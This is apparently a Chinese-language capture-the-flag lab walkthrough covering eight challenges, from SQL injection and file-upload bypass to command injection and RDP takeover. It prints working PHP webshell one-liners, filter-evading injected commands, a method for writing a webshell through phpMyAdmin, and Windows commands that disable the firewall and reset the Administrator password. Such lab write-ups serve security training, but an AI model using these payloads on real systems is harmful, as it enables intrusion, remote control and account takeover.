目录
1、SQL注入
2、文件上传
3、文件包含
4、代码审计
5、命令执行
6、端口扫描
7、sql 写 webshell
8、3389 远程桌面利用
1、SQL注入
sqllabs-less-24 二次注入
2、文件上传
没有对文件后缀进行检测,但是对文件类型有检测,需要使用图片头绕过
并且对上传内容有检测:过滤了eval,没有过滤php,assert也过滤了
采用大小写绕过
上传内容:
<?php Eval($_POST[1]); ?>
观察响应包,文件就被传到了当前目录下
调用
1=system('ls');
读取
1=system('tac k*');
也可以直接写到文件内容里:
<?php system('tac k*');?>
然后访问 1.php 即可看到执行结果
3、文件包含
这里其实有提示存在webshell,访问view.html
查看源代码
解码base64内容发现就是一句话木马
需要post给Hello传入一个东西,再给z0传入我们想要执行的命令,并且需要bae64编码,访问index.php?file=view.html(这个是将一句话木马包含进去),然后post传入Hello=1&z0=你想执行的命令的base64编码
4、代码审计
无回显rce
有写权限
直接将结果重定向到文件
?cmd=ls > 1.txt
访问1.txt
5、命令执行
加权后读取
127.0.0.1&&l\s ../
127.0.0.1&&chmo\d ../key.ph?
127.0.0.1&&ta\c ../key.ph?
6、端口扫描
先拿nmap扫端口,发现125端口开放了http服务
访问需要认证,提示用户名是admin,使用bp抓包爆破密码
和我们前面做过的题一样,用户名和密码进行了base64编码
可以发到decoder验证,确实是的
添加上爆破的位置
加载字典,选择密码相关里面的password.txt
重点来了,关于payload的处理,需要添加前缀admin:
并且加上密码后整体进行base64编码
注意将这个url编码的去掉不然也跑不出来
然后开始攻击,找响应是200的包
base64解码发现密码是qwerty
登录成功后,访问robots.txt,看到key6
7、sql 写 webshell
有一个news,我们访问
点击系统管理是一个登录界面
存在弱口令admin admin
抓包对/news/进行目录扫描,不能使用其他工具,因为需要携带认证信息,使用burpsuite来爆破
找一个php相关的字典导进去(我使用的是御剑配置文件里面的字典)
发现存在phpmyadmin
我们访问
写入一句话木马
这个路径是我们前面在后台看到的
这个路径是我们前面在后台看到的
访问shell.php返回空白,说明写入成功
接下来就可以使用蚁剑进行连接了
请求信息里面同样需要加上前面的认证信息
也就是这个请求头
复制过来加上
连接提示返回数据为空
切换为base64编码,连接成功
进入找到key7
8、3389 远程桌面利用
右键上传文件
上传这个文件:3389.bat
右键进入虚拟终端
执行3389.bat
这个是开启对方的3389端口
接下来我们还需要关闭它的防火墙,使用命令:
netsh firewall set opmode disable
然后修改它的用户密码,使用命令:
net user Administrator 123456a*
注意需要满足密码策略,数字字母特殊字符 cmd输入mstsc打开远程桌面
看一下目标的ip
输入ip和密码进行连接
我点的是
继续等待,成功连接到对方计算机
回收站的名字即为key8